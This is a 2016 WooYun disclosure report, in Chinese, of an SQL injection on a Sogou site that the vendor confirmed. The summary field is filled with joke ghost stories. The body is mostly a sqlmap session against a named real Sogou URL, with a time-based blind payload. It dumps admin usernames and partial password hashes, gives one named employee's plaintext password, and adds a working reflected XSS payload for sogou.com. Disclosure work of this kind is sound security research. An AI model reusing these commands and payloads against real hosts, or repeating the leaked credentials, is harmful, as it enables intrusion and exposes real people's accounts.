当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0213507

漏洞标题:搜狗某站SQL注入可读系统文件

相关厂商:搜狗

漏洞作者: 路人甲

提交时间:2016-05-27 16:51

修复时间:2016-07-11 17:50

公开时间:2016-07-11 17:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-27: 细节已通知厂商并且等待厂商处理中
2016-05-27: 厂商已经确认,细节仅向厂商公开
2016-06-06: 细节向核心白帽子及相关领域专家公开
2016-06-16: 细节向普通白帽子公开
2016-06-26: 细节向实习白帽子公开
2016-07-11: 细节向公众公开

简要描述:

给你们讲点恐怖故事,身体不适请不要看,未成年请在父母的陪伴下观看。
------------------------------------------
一:加班太晚了,想点个宵夜,就打电话给外卖送到xxx办公室,外卖的人却说这地方昨天不是发生火灾被烧没了么?
二:半夜看到一个人吊在窗户上,打开灯一看原来是挂着的衣服,转身关灯看到镜子窗户上真的有个人。
三:去朋友家玩,朋友不在家,他妈妈热情留我下来吃饭,他妈妈一边做菜一边转头对我笑,我无意中看到隔壁房间里摆放着一张遗照,是朋友的妈妈,我刚要跑,她的妈妈还在做菜,但是脖子绕道了我脸边问我爱吃什么菜
-----------

详细说明:

$ python sqlmap.py -u "http://union.app.sogou.com/index.php/aa.php?s=/Index/login" --data "username=CasterJs*&=CasterJs&product=&password=CasterJs" --sql-shell
_
___ ___| |_____ ___ ___ {1.0.3.9#dev}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 15:41:19
custom injection marking character ('*') found in option '--data'. Do you want to process it? [Y/n/q] y
[15:41:21] [INFO] resuming back-end DBMS 'mysql'
[15:41:22] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: username=CasterJs' AND (SELECT * FROM (SELECT(SLEEP(5)))YcPJ) AND 'wEGB'='wEGB&=CasterJs&product=&password=CasterJs
---
[15:41:22] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5
[15:41:22] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell> select adminname,password from admin
[15:41:42] [INFO] fetching SQL SELECT statement query output: 'select adminname,password from admin'
[15:41:42] [INFO] the SQL query provided has more than one field. sqlmap will now unpack it into distinct queries to be able to retrieve the output even if we are going blind
[15:41:42] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)
[15:41:43] [WARNING] it is very important to not stress the network adapter during usage of time-based payloads to prevent potential disruptions
[15:41:53] [INFO] heuristics detected web page charset 'ascii'
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
2
[15:42:17] [INFO] adjusting time delay to 1 second due to good response times
5
the SQL query provided can return 25 entries. How many entries do you want to retrieve?
[a] All (default)
[#] Specific number
[q] Quit
>
[15:42:23] [INFO] retrieved:
[15:42:55] [WARNING] turning off pre-connect mechanism because of connection time out(s)
laijinhai
[15:43:29] [INFO] retrieved: D4A36363043096
[15:44:28] [ERROR] invalid character detected. retrying..
[15:44:28] [WARNING] increasing time delay to 2 seconds
[15:44:34] [ERROR] invalid character detected. retrying..
[15:44:34] [WARNING] increasing time delay to 3 seconds
C895C159F8F9D935B1
[15:47:28] [INFO] retrieved: huxiaojuan
[15:49:38] [INFO] retrieved: DCB4C2150EF893ECE86E29F33
[15:54:18] [ERROR] invalid character detected. retrying..
[15:54:18] [WARNING] increasing time delay to 4 seconds
0687953
[15:56:12] [INFO] retrieved: yushanzh
[15:58:34] [INFO] retrieved: 14D9FF5BB66E25BD26DF59DB767F3
[16:05:22] [ERROR] invalid character detected. retrying..
[16:05:22] [WARNING] increasing time delay to 5 seconds
C75
[16:06:54] [INFO] retrieved: xujing


找不到后台很尴尬。。。。
huxiaojuan 密码 shaojuan
可以读取系统文件

读取系统文件.png


漏洞证明:

送你们一枚主站的反射xss
https://www.sogou.com/websearch/renzheng.jsp
post data: url="><img src=x onerror=alert(1)>&domain=saber.com.ve.ipaddress.com&level=400

zhuzhan.png

修复方案:

过滤转义加waf

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2016-05-27 17:48

厂商回复:

非常感谢您的报告,问题已着手处理,感谢您对搜狗安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无


漏洞评价:

评价